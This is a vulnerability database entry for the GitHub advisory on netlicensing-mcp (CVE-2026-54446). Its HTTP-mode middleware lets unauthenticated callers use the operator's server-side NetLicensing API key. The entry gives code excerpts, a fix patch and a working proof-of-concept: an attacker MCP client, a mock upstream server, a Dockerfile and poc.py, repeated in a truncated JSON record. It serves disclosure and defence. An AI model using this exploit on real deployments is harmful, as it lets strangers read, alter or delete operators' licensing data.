Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3440 vulnerabilities reference this CWE, most recent first.

GHSA-X9VC-9FFQ-P3GJ

Vulnerability from github – Published: 2026-07-14 20:47 – Updated: 2026-07-14 20:47
VLAI
Summary
NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
Details

Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

Summary

When netlicensing-mcp is run in HTTP transport mode, the ApiKeyMiddleware fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (server.py:1427). The downstream HTTP client then falls back to the server operator's NETLICENSING_API_KEY environment variable (client.py:30) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: 8.1 (High).

Details

The HTTP transport is started in src/netlicensing_mcp/server.py around line 1430 via mcp.streamable_http_app(), and ApiKeyMiddleware is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the x-netlicensing-api-key header or the ?apikey= query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls return await call_next(request) (line 1427), passing the unauthenticated request downstream.

The downstream client module (src/netlicensing_mcp/client.py) uses a Python ContextVar named api_key_ctx with a default of os.getenv("NETLICENSING_API_KEY", "") (line 30). Because the middleware never sets this context variable for unauthenticated requests, api_key_ctx.get() returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (lines 62–70) and transmits it to the upstream NetLicensing REST API on every request (lines 105, 109).

The complete exploitable data flow is:

Step Location Description
1 server.py:1430 HTTP app created with mcp.streamable_http_app()
2 server.py:1431 ApiKeyMiddleware registered
3 server.py:1412–1419 Middleware attempts (optional) key extraction from headers/query
4 server.py:1427 Auth bypass sink: missing key → return await call_next(request)
5 server.py:155–163 Unauthenticated caller invokes netlicensing_list_products (or any tool)
6 tools/products.py:9,17 Tool delegates to nl_get("/product", ...)
7 client.py:30 Source: api_key_ctx defaults to NETLICENSING_API_KEY env var
8 client.py:62–70 Authorization: Basic base64("apiKey:<key>") constructed
9 client.py:105,109 Upstream sink: client.get(url, headers=_headers(), ...) executed

Critical code excerpts:

# src/netlicensing_mcp/server.py
1418:     if not key:
1419:         key = request.query_params.get("apikey")
1421:     if key:
1422:         token = api_key_ctx.set(key)
            ...
1427:     return await call_next(request)   # <-- no rejection when key is absent

# src/netlicensing_mcp/client.py
30:  "api_key", default=os.getenv("NETLICENSING_API_KEY", "")   # server-side fallback
...
64:  auth_str = f"apiKey:{api_key}"
70:  "Authorization": f"Basic {token}",
...
109: r = await client.get(url, headers=_headers(), params=params or {})

The README (README.md:90–94) documents the HTTP mode deployment pattern with -e NETLICENSING_API_KEY=your_key as a first-class production deployment option, including AWS App Runner / ELB examples (README.md:310–318). The per-client key recommendation (README.md:318) is advisory only and is not technically enforced.

A suggested patch replaces the unconditional pass-through with a 401 rejection:

--- a/src/netlicensing_mcp/server.py
+++ b/src/netlicensing_mcp/server.py
@@
          class ApiKeyMiddleware(BaseHTTPMiddleware):
              async def dispatch(self, request: Request, call_next):
+                 if request.url.path == "/health":
+                     return await call_next(request)
+
                  key = request.headers.get("x-netlicensing-api-key")
                  if not key:
                      auth = request.headers.get("authorization")
                      if auth and auth.lower().startswith("bearer "):
                          key = auth[7:]
@@
                          return await call_next(request)
                      finally:
                          api_key_ctx.reset(token)
-                 return await call_next(request)
+                 return JSONResponse(
+                     {"error": "NetLicensing API key is required for HTTP transport"},
+                     status_code=401,
+                 )

PoC

Environment requirements: - Docker (or Python 3.12 with netlicensing-mcp==0.1.5 and mcp client installed) - Target commit: ef0080c2aebbf4dfbce93a959dd7c1471103c05a

Self-contained Docker reproduction (all-in-one):

# Build the image from the repository root
docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .

# Run the PoC — exits 0 on confirmed exploit
docker run --rm --network=host vuln-001-netlicensing

Manual step-by-step reproduction:

# Terminal 1 — mock upstream NetLicensing REST API
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print("MOCK_REQUEST", self.command, self.path,
              self.headers.get("Authorization"), flush=True)
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps({"items": {"item": []}}).encode())
    def log_message(self, *args): pass
HTTPServer(("127.0.0.1", 19090), H).serve_forever()
PY

# Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key
NETLICENSING_API_KEY=SERVERSECRET \
NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \
MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \
python3 -m netlicensing_mcp.server http

# Terminal 3 — attacker: connect with NO API key and invoke a tool
python3 - <<'PY'
import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

async def main():
    async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            print(await session.call_tool("netlicensing_list_products", {"filter": ""}))

asyncio.run(main())
PY

Expected output in Terminal 1:

MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==

Decoding the Base64 credential confirms the operator's secret was used:

$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d
apiKey:SERVERSECRET

Observed evidence from dynamic reproduction (Phase 2):

[MOCK_UPSTREAM] GET /core/v2/rest/product  Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own
NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.
CWE-306 / VULN-001 reproduced.

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any network-reachable attacker who can send HTTP requests to the /mcp endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.

Concrete consequences include:

  • Confidentiality: enumeration of all products, licenses, licensees, and transactions associated with the operator's account.
  • Integrity: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.
  • Availability: bulk deletion of products, licenses, or licensees, destroying the operator's licensing configuration.

Who is impacted: Operators who deploy netlicensing-mcp in HTTP transport mode (python3 -m netlicensing_mcp.server http) with NETLICENSING_API_KEY set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

RUN apt-get update && apt-get install -y --no-install-recommends git \
 && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy repo (with .git for hatch-vcs versioning) and PoC script
COPY repo/ /app/repo/
COPY vuln-001/poc.py /app/poc.py

# Install the vulnerable MCP server package and its dependencies
RUN cd /app/repo && pip install --no-cache-dir .

CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
CWE-306 — Missing Authentication for Critical Function

Attack scenario:
 1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.
 2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.
 3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.
 4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.
 5. The upstream NetLicensing REST API receives the operator's credential — attacker
 effectively uses the operator's account for all MCP tool invocations.

Expected evidence: mock upstream prints
 Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
 Decoded: apiKey:SERVERSECRET
even though the MCP client sent no credentials.
"""

import asyncio
import base64
import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

# ─── Configuration ────────────────────────────────────────────────────────────

MOCK_PORT = 19090
MCP_PORT = 18181
SERVER_API_KEY = "SERVERSECRET" # simulated operator secret injected via env var

# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────

captured_requests: list[dict] = []
mock_ready = threading.Event()


class MockUpstreamHandler(BaseHTTPRequestHandler):
 def _handle(self):
 auth = self.headers.get("Authorization", "<none>")
 entry = {
 "method": self.command,
 "path": self.path,
 "authorization": auth,
 }
 captured_requests.append(entry)
 print(
 f"[MOCK_UPSTREAM] {self.command} {self.path} "
 f"Authorization={auth}",
 flush=True,
 )
 self.send_response(200)
 self.send_header("Content-Type", "application/json")
 self.end_headers()
 self.wfile.write(json.dumps({"items": {"item": []}}).encode())

 do_GET = _handle
 do_POST = _handle
 do_PUT = _handle

 def log_message(self, *args):
 pass


def _run_mock(port: int) -> None:
 srv = HTTPServer(("127.0.0.1", port), MockUpstreamHandler)
 mock_ready.set()
 srv.serve_forever()


# ─── Helpers ─────────────────────────────────────────────────────────────────

def _decode_basic(header: str) -> str | None:
 if not header.startswith("Basic "):
 return None
 try:
 return base64.b64decode(header[6:]).decode()
 except Exception:
 return None


async def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:
 """Poll until the MCP /health endpoint responds or timeout."""
 import httpx
 deadline = time.monotonic() + timeout
 while time.monotonic() < deadline:
 try:
 async with httpx.AsyncClient() as c:
 r = await c.get(f"http://{host}:{port}/health", timeout=1)
 if r.status_code < 500:
 return True
 except Exception:
 pass
 await asyncio.sleep(0.4)
 return False


# ─── PoC ──────────────────────────────────────────────────────────────────────

async def main() -> None:
 # 1. Start mock upstream
 t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)
 t.start()
 mock_ready.wait(timeout=5)
 print(f"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}", flush=True)

 # 2. Launch vulnerable MCP server in HTTP mode with server-side API key
 env = os.environ.copy()
 env.update({
 "NETLICENSING_API_KEY": SERVER_API_KEY,
 "NETLICENSING_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/core/v2/rest",
 "MCP_HOST": "127.0.0.1",
 "MCP_PORT": str(MCP_PORT),
 })
 proc = subprocess.Popen(
 [sys.executable, "-m", "netlicensing_mcp.server", "http"],
 env=env,
 cwd="/app/repo",
 stdout=subprocess.PIPE,
 stderr=subprocess.PIPE,
 )
 print(f"[*] Vulnerable MCP server started (pid={proc.pid})", flush=True)

 ready = await _wait_for_mcp("127.0.0.1", MCP_PORT, timeout=15)
 if not ready:
 # /health may not exist; just wait a fixed time
 print("[*] /health not responding — waiting 5 s anyway ...", flush=True)
 await asyncio.sleep(5)

 if proc.poll() is not None:
 _, err = proc.communicate()
 print(f"[!] MCP server exited unexpectedly:\n{err.decode()}", flush=True)
 sys.exit(1)

 print(f"[*] MCP server ready on 127.0.0.1:{MCP_PORT}", flush=True)

 # 3. Attack: connect WITHOUT any API key and invoke a tool
 print(
 "\n[ATTACK] Sending MCP tool call to netlicensing_list_products "
 "with NO client API key ...",
 flush=True,
 )
 try:
 from mcp import ClientSession
 from mcp.client.streamable_http import streamablehttp_client

 async with streamablehttp_client(
 f"http://127.0.0.1:{MCP_PORT}/mcp"
 ) as (read, write, _):
 async with ClientSession(read, write) as session:
 await session.initialize()
 result = await session.call_tool(
 "netlicensing_list_products", {"filter": ""}
 )
 print(f"[*] Tool call succeeded: {result}", flush=True)
 except Exception as exc:
 print(f"[*] MCP client exception (may be normal upstream error): {exc}", flush=True)
 finally:
 proc.terminate()
 await asyncio.sleep(0.5)

 # 4. Evaluate captured evidence
 print("\n" + "=" * 70, flush=True)
 print("CAPTURED UPSTREAM REQUESTS:", flush=True)
 for req in captured_requests:
 print(f" {req['method']} {req['path']}", flush=True)
 print(f" Authorization: {req['authorization']}", flush=True)
 decoded = _decode_basic(req["authorization"])
 if decoded:
 print(f" Decoded: {decoded}", flush=True)
 print("=" * 70, flush=True)

 # 5. Verdict
 server_key_leaked = any(
 SERVER_API_KEY in (_decode_basic(r["authorization"]) or "")
 for r in captured_requests
 )

 if server_key_leaked:
 print(
 f"\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to "
 f"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream "
 f"NetLicensing API. CWE-306 / VULN-001 reproduced.",
 flush=True,
 )
 sys.exit(0)
 elif not captured_requests:
 print(
 "\n[FAIL] No upstream requests captured — the MCP tool call did not "
 "reach the upstream API.",
 flush=True,
 )
 sys.exit(2)
 else:
 print(
 "\n[FAIL] Upstream requests captured but server API key not found in "
 "Authorization headers.",
 flush=True,
 )
 sys.exit(2)


if __name__ == "__main__":
 asyncio.run(main())
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "netlicensing-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T20:47:19Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\n\n### Summary\n\nWhen `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator\u0027s `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool \u2014 including product listing, license creation/modification, and destructive delete operations \u2014 entirely under the operator\u0027s identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.\n\n### Details\n\nThe HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412\u20131427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.\n\nThe downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv(\"NETLICENSING_API_KEY\", \"\")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (`lines 62\u201370`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`).\n\nThe complete exploitable data flow is:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` |\n| 2 | `server.py:1431` | `ApiKeyMiddleware` registered |\n| 3 | `server.py:1412\u20131419` | Middleware attempts (optional) key extraction from headers/query |\n| 4 | `server.py:1427` | **Auth bypass sink**: missing key \u2192 `return await call_next(request)` |\n| 5 | `server.py:155\u2013163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) |\n| 6 | `tools/products.py:9,17` | Tool delegates to `nl_get(\"/product\", ...)` |\n| 7 | `client.py:30` | **Source**: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var |\n| 8 | `client.py:62\u201370` | `Authorization: Basic base64(\"apiKey:\u003ckey\u003e\")` constructed |\n| 9 | `client.py:105,109` | **Upstream sink**: `client.get(url, headers=_headers(), ...)` executed |\n\nCritical code excerpts:\n\n```python\n# src/netlicensing_mcp/server.py\n1418:     if not key:\n1419:         key = request.query_params.get(\"apikey\")\n1421:     if key:\n1422:         token = api_key_ctx.set(key)\n            ...\n1427:     return await call_next(request)   # \u003c-- no rejection when key is absent\n```\n\n```python\n# src/netlicensing_mcp/client.py\n30:  \"api_key\", default=os.getenv(\"NETLICENSING_API_KEY\", \"\")   # server-side fallback\n...\n64:  auth_str = f\"apiKey:{api_key}\"\n70:  \"Authorization\": f\"Basic {token}\",\n...\n109: r = await client.get(url, headers=_headers(), params=params or {})\n```\n\nThe README (`README.md:90\u201394`) documents the HTTP mode deployment pattern with `-e NETLICENSING_API_KEY=your_key` as a first-class production deployment option, including AWS App Runner / ELB examples (`README.md:310\u2013318`). The per-client key recommendation (`README.md:318`) is advisory only and is not technically enforced.\n\nA suggested patch replaces the unconditional pass-through with a `401` rejection:\n\n```diff\n--- a/src/netlicensing_mcp/server.py\n+++ b/src/netlicensing_mcp/server.py\n@@\n          class ApiKeyMiddleware(BaseHTTPMiddleware):\n              async def dispatch(self, request: Request, call_next):\n+                 if request.url.path == \"/health\":\n+                     return await call_next(request)\n+\n                  key = request.headers.get(\"x-netlicensing-api-key\")\n                  if not key:\n                      auth = request.headers.get(\"authorization\")\n                      if auth and auth.lower().startswith(\"bearer \"):\n                          key = auth[7:]\n@@\n                          return await call_next(request)\n                      finally:\n                          api_key_ctx.reset(token)\n-                 return await call_next(request)\n+                 return JSONResponse(\n+                     {\"error\": \"NetLicensing API key is required for HTTP transport\"},\n+                     status_code=401,\n+                 )\n```\n\n### PoC\n\n**Environment requirements:**\n- Docker (or Python 3.12 with `netlicensing-mcp==0.1.5` and `mcp` client installed)\n- Target commit: `ef0080c2aebbf4dfbce93a959dd7c1471103c05a`\n\n**Self-contained Docker reproduction (all-in-one):**\n\n```\n# Build the image from the repository root\ndocker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .\n\n# Run the PoC \u2014 exits 0 on confirmed exploit\ndocker run --rm --network=host vuln-001-netlicensing\n```\n\n**Manual step-by-step reproduction:**\n\n```\n# Terminal 1 \u2014 mock upstream NetLicensing REST API\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(\"MOCK_REQUEST\", self.command, self.path,\n              self.headers.get(\"Authorization\"), flush=True)\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n    def log_message(self, *args): pass\nHTTPServer((\"127.0.0.1\", 19090), H).serve_forever()\nPY\n\n# Terminal 2 \u2014 vulnerable MCP server in HTTP mode with a server-side API key\nNETLICENSING_API_KEY=SERVERSECRET \\\nNETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \\\nMCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \\\npython3 -m netlicensing_mcp.server http\n\n# Terminal 3 \u2014 attacker: connect with NO API key and invoke a tool\npython3 - \u003c\u003c\u0027PY\u0027\nimport asyncio\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\nasync def main():\n    async with streamablehttp_client(\"http://127.0.0.1:18181/mcp\") as (read, write, _):\n        async with ClientSession(read, write) as session:\n            await session.initialize()\n            print(await session.call_tool(\"netlicensing_list_products\", {\"filter\": \"\"}))\n\nasyncio.run(main())\nPY\n```\n\n**Expected output in Terminal 1:**\n\n```\nMOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n```\n\nDecoding the Base64 credential confirms the operator\u0027s secret was used:\n\n```\n$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d\napiKey:SERVERSECRET\n```\n\n**Observed evidence from dynamic reproduction (Phase 2):**\n\n```\n[MOCK_UPSTREAM] GET /core/v2/rest/product  Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\nDecoded: apiKey:SERVERSECRET\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own\nNETLICENSING_API_KEY=\u0027SERVERSECRET\u0027 to the upstream NetLicensing API.\nCWE-306 / VULN-001 reproduced.\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any network-reachable attacker who can send HTTP requests to the `/mcp` endpoint can invoke the full set of MCP tools \u2014 including read, create, update, and delete operations \u2014 without supplying any credential. The attacker\u0027s requests are transparently executed under the server operator\u0027s NetLicensing account.\n\nConcrete consequences include:\n\n- **Confidentiality**: enumeration of all products, licenses, licensees, and transactions associated with the operator\u0027s account.\n- **Integrity**: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.\n- **Availability**: bulk deletion of products, licenses, or licensees, destroying the operator\u0027s licensing configuration.\n\n**Who is impacted**: Operators who deploy `netlicensing-mcp` in HTTP transport mode (`python3 -m netlicensing_mcp.server http`) with `NETLICENSING_API_KEY` set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends git \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy repo (with .git for hatch-vcs versioning) and PoC script\nCOPY repo/ /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\n\n# Install the vulnerable MCP server package and its dependencies\nRUN cd /app/repo \u0026\u0026 pip install --no-cache-dir .\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\nCWE-306 \u2014 Missing Authentication for Critical Function\n\nAttack scenario:\n 1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.\n 2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.\n 3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.\n 4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.\n 5. The upstream NetLicensing REST API receives the operator\u0027s credential \u2014 attacker\n effectively uses the operator\u0027s account for all MCP tool invocations.\n\nExpected evidence: mock upstream prints\n Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n Decoded: apiKey:SERVERSECRET\neven though the MCP client sent no credentials.\n\"\"\"\n\nimport asyncio\nimport base64\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# \u2500\u2500\u2500 Configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nMOCK_PORT = 19090\nMCP_PORT = 18181\nSERVER_API_KEY = \"SERVERSECRET\" # simulated operator secret injected via env var\n\n# \u2500\u2500\u2500 Mock upstream NetLicensing REST API \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ncaptured_requests: list[dict] = []\nmock_ready = threading.Event()\n\n\nclass MockUpstreamHandler(BaseHTTPRequestHandler):\n def _handle(self):\n auth = self.headers.get(\"Authorization\", \"\u003cnone\u003e\")\n entry = {\n \"method\": self.command,\n \"path\": self.path,\n \"authorization\": auth,\n }\n captured_requests.append(entry)\n print(\n f\"[MOCK_UPSTREAM] {self.command} {self.path} \"\n f\"Authorization={auth}\",\n flush=True,\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n\n do_GET = _handle\n do_POST = _handle\n do_PUT = _handle\n\n def log_message(self, *args):\n pass\n\n\ndef _run_mock(port: int) -\u003e None:\n srv = HTTPServer((\"127.0.0.1\", port), MockUpstreamHandler)\n mock_ready.set()\n srv.serve_forever()\n\n\n# \u2500\u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef _decode_basic(header: str) -\u003e str | None:\n if not header.startswith(\"Basic \"):\n return None\n try:\n return base64.b64decode(header[6:]).decode()\n except Exception:\n return None\n\n\nasync def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -\u003e bool:\n \"\"\"Poll until the MCP /health endpoint responds or timeout.\"\"\"\n import httpx\n deadline = time.monotonic() + timeout\n while time.monotonic() \u003c deadline:\n try:\n async with httpx.AsyncClient() as c:\n r = await c.get(f\"http://{host}:{port}/health\", timeout=1)\n if r.status_code \u003c 500:\n return True\n except Exception:\n pass\n await asyncio.sleep(0.4)\n return False\n\n\n# \u2500\u2500\u2500 PoC \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nasync def main() -\u003e None:\n # 1. Start mock upstream\n t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)\n t.start()\n mock_ready.wait(timeout=5)\n print(f\"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}\", flush=True)\n\n # 2. Launch vulnerable MCP server in HTTP mode with server-side API key\n env = os.environ.copy()\n env.update({\n \"NETLICENSING_API_KEY\": SERVER_API_KEY,\n \"NETLICENSING_BASE_URL\": f\"http://127.0.0.1:{MOCK_PORT}/core/v2/rest\",\n \"MCP_HOST\": \"127.0.0.1\",\n \"MCP_PORT\": str(MCP_PORT),\n })\n proc = subprocess.Popen(\n [sys.executable, \"-m\", \"netlicensing_mcp.server\", \"http\"],\n env=env,\n cwd=\"/app/repo\",\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n print(f\"[*] Vulnerable MCP server started (pid={proc.pid})\", flush=True)\n\n ready = await _wait_for_mcp(\"127.0.0.1\", MCP_PORT, timeout=15)\n if not ready:\n # /health may not exist; just wait a fixed time\n print(\"[*] /health not responding \u2014 waiting 5 s anyway ...\", flush=True)\n await asyncio.sleep(5)\n\n if proc.poll() is not None:\n _, err = proc.communicate()\n print(f\"[!] MCP server exited unexpectedly:\\n{err.decode()}\", flush=True)\n sys.exit(1)\n\n print(f\"[*] MCP server ready on 127.0.0.1:{MCP_PORT}\", flush=True)\n\n # 3. Attack: connect WITHOUT any API key and invoke a tool\n print(\n \"\\n[ATTACK] Sending MCP tool call to netlicensing_list_products \"\n \"with NO client API key ...\",\n flush=True,\n )\n try:\n from mcp import ClientSession\n from mcp.client.streamable_http import streamablehttp_client\n\n async with streamablehttp_client(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\"\n ) as (read, write, _):\n async with ClientSession(read, write) as session:\n await session.initialize()\n result = await session.call_tool(\n \"netlicensing_list_products\", {\"filter\": \"\"}\n )\n print(f\"[*] Tool call succeeded: {result}\", flush=True)\n except Exception as exc:\n print(f\"[*] MCP client exception (may be normal upstream error): {exc}\", flush=True)\n finally:\n proc.terminate()\n await asyncio.sleep(0.5)\n\n # 4. Evaluate captured evidence\n print(\"\\n\" + \"=\" * 70, flush=True)\n print(\"CAPTURED UPSTREAM REQUESTS:\", flush=True)\n for req in captured_requests:\n print(f\" {req[\u0027method\u0027]} {req[\u0027path\u0027]}\", flush=True)\n print(f\" Authorization: {req[\u0027authorization\u0027]}\", flush=True)\n decoded = _decode_basic(req[\"authorization\"])\n if decoded:\n print(f\" Decoded: {decoded}\", flush=True)\n print(\"=\" * 70, flush=True)\n\n # 5. Verdict\n server_key_leaked = any(\n SERVER_API_KEY in (_decode_basic(r[\"authorization\"]) or \"\")\n for r in captured_requests\n )\n\n if server_key_leaked:\n print(\n f\"\\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to \"\n f\"forward its own NETLICENSING_API_KEY=\u0027{SERVER_API_KEY}\u0027 to the upstream \"\n f\"NetLicensing API. CWE-306 / VULN-001 reproduced.\",\n flush=True,\n )\n sys.exit(0)\n elif not captured_requests:\n print(\n \"\\n[FAIL] No upstream requests captured \u2014 the MCP tool call did not \"\n \"reach the upstream API.\",\n flush=True,\n )\n sys.exit(2)\n else:\n print(\n \"\\n[FAIL] Upstream requests captured but server API key not found in \"\n \"Authorization headers.\",\n flush=True,\n )\n sys.exit(2)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```",
  "id": "GHSA-x9vc-9ffq-p3gj",
  "modified": "2026-07-14T20:47:19Z",
